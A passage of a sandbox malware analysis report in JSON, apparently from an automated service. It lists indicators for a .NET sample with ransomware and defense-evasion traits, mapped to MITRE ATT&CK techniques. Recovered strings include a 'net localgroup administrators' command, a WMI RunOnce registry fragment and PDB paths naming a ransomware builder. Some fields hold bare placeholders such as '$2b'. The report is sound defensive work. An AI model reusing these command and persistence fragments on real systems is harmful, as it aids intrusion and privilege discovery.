\"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1027.004","relevance":1,"id":"static-174","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"ZwUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"wUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")\n Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet code contains potential unpacker","description":"Observed function \"System.Reflection.Load\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1620","relevance":1,"id":"static-115","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet file contains encryption/decryption functions","description":"Observed namespace \"System.Security.Cryptography\" and MemberReference \"TransformFinalBlock\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed namespace \"System.Security.Cryptography\" and MemberReference \"CreateDecryptor\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-134","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet file contains function to dynamically call methods at runtime","description":"Observed namespace \"Microsoft.VisualBasic.CompilerServices\" and MemberReference \"LateCall\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":1,"id":"static-135","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00003440.00000000.71982.00F50000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003440.00000001.73903.00F50000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003440.00000001.73903.00F52000.00000020.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003440.00000002.75822.00F50000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found virtual disk drive like strings","description":"Found string - ume nextDo While TrueSet oReg = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv\")oReg.GetStringValue &H80000001\n \"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\n \"; Source: \"00000000-00003440.00000002.75822.00F52000.00000020.mdmp\"), Found string - Set oReg = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv\"); Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp\n 00000000-00003440.00000001.73903.00F52000.00000020.mdmp\n 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime (Dotnet)","description":"Observed function \"FromBase64String\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed function \"ToBase64String\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES decryption (Dotnet String)","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-445","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform CryptoStream operations (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.CryptoStream\" and TypeReference \"FlushFinalBlock\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-166","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform crypto operations","description":"Observed namespace \"System.Security.Cryptography\" in [Source: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"]","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-118","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00003440.00000000.71982.001B0000.00000004.mdmp\")\n Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00003440.00000000.71982.01C60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"description=\"Uses RsaCryptoServiceProvider to encrypt and decrypt\"\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00003440.00000000.71982.001B0000.00000004.mdmp\")\n Found string \"Uses RsaCryptoServiceProvider to encrypt and decrypt\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00003440.00000000.71982.01C60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric crypto operations","description":"Observed namespace \"System.Security.Cryptography.AesCryptoServiceProvider\" and TypeReference \".ctor\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed namespace \"System.Security.Cryptography.RijndaelManaged\" and TypeReference \".ctor\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1573.001","relevance":1,"id":"static-140","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric decryption (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateDecryptor\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-168","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric encryption (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateEncryptor\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-165","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"http://www.w3.org/2001/04/xmlenc# EncryptedKey\" (Indicator: \"encryptedkey\"; Source: \"00000000-00003440.00000000.71982.01C60000.00000004.mdmp\")\n Found string \"System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" (Indicator: \"encryptedkey\"; Source: \"00000000-00003440.00000000.71982.01C60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2e","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\".exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003440)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute WMI queries (Dotnet)","description":"Observed namespace \"System.Management.ManagementObjectSearcher\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1047","relevance":1,"id":"static-114","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to gather system environment details","description":"Observed function \"ExpandEnvironmentVariables\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed function \"GetEnvironmentVariable\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-119","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve current user details (Dotnet)","description":"Observed Namespace \"System.Security.Principal.WindowsIdentity\" and MemberReference \"GetCurrent\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1033","relevance":1,"id":"static-152","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"$30","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve geographical location","description":"\"k__BackingField\" (Indicator: \"countrycode\") in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\n \"get_CountryCode\" (Indicator: \"countrycode\") in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\n \"set_CountryCode\" (Indicator: \"countrycode\") in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\n \"countrycode\" (Indicator: \"countrycode\") in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\n \"countryCode\" (Indicator: \"countrycode\") in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\n \"Response//CountryCode\" (Indicator: \"countrycode\") in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-575","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetSystemInfoResponse\" (Indicator: \"GetSystemInfo\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"GetSystemInfoResponse\" (Indicator: \"GetSystemInfo\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve local groups information","description":"Found string \"/c net localgroup administrators\" (Indicator: \"net localgroup\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found string \"c net localgroup administrators\" (Indicator: \"net localgroup\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.001","relevance":1,"id":"string-526","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network adapter information (Dotnet)","description":"Observed namespace \"System.Net.NetworkInformation\" and TypeReference \"NetworkInterface\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1016","relevance":1,"id":"static-137","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve security identifier details","description":"Observed Namespace \"System.Security.Principal.SecurityIdentifier\" and MemberReference \".ctor\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1033","relevance":1,"id":"static-156","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\".exe\" queries volume information of \"C:\\d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.exe\" at 00000000-00003440-0000010C-1989928","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"$32","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Calls an API during runtime","description":"$33","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-265","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"\".exe\" called \"GetProcAddress\" with a parameter DecodePointer (UID: 00000000-00003440)\n \".exe\" called \"GetProcAddress\" with a parameter EncodePointer (UID: 00000000-00003440)\n \".exe\" called \"GetProcAddress\" with a parameter FlsGetValue (UID: 00000000-00003440)","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Can loads assembly that contains the code that is currently executing [Dotnet]","description":"$34","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains NTDLL native APIs","description":"Found reference to native API (Indicator: \"RtlSetProcessIsCritical\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to native API (Indicator: \"NtUnmapViewOfSection\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to native API (Indicator: \"ZwUnmapViewOfSection\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to native API (Indicator: \"RtlSetProcessIsCritical\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")\n Found reference to native API (Indicator: \"NtUnmapViewOfSection\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-604","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"D:\\CreateVenomUser\\obj\\Release\\Create.pdb\"\n \"D:\\CreateVenomUser\\Uac-Executor\\obj\\Release\\CU.pdb\"\n \"D:\\Ransomware-Builder-v0.2d-master\\Decryptor\\Decryptor\\obj\\Debug\\Decryptor.pdb\"\n \"D:\\MEMORYU\\MEMORYU\\obj\\Debug\\MEMORYU.pdb\"\n \"D:\\addexclusion\\obj\\Release\\addexclusion.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$35","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcess\" (Indicator: \"CreateProcess\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"CreateProcess\" (Indicator: \"CreateProcess\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"file/memory contains long string with (Indicator: \"CreateDirectory\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"//Directory.CreateDirectory(startupdir);\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")\n Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains ability to download files with network (Dotnet)","description":"Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadString\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"OpenRead\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1105","relevance":1,"id":"static-99","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$36","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains ability to execute application (Dotnet)","description":"Observed function \"set_UseShellExecute\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-108","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"LogonUser\" (Indicator: \"LogonUser\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"LogonUser\" (Indicator: \"LogonUser\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineArgs\" (Indicator: \"GetCommandLine\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"GetCommandLineArgs\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains ability to set file attributes (Dotnet)","description":"Observed Namespace \"System.IO.FileSystemInfo\" and MemberReference \"get_Attributes\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed Namespace \"System.IO.FileSystemInfo\" and MemberReference \"set_Attributes\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1222","relevance":1,"id":"static-155","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"file/memory contains long string with (Indicator: \"SetLastError\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"[DllImport(\"user32.dll\", SetLastError = true)]\" (Indicator: \"SetLastError\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; 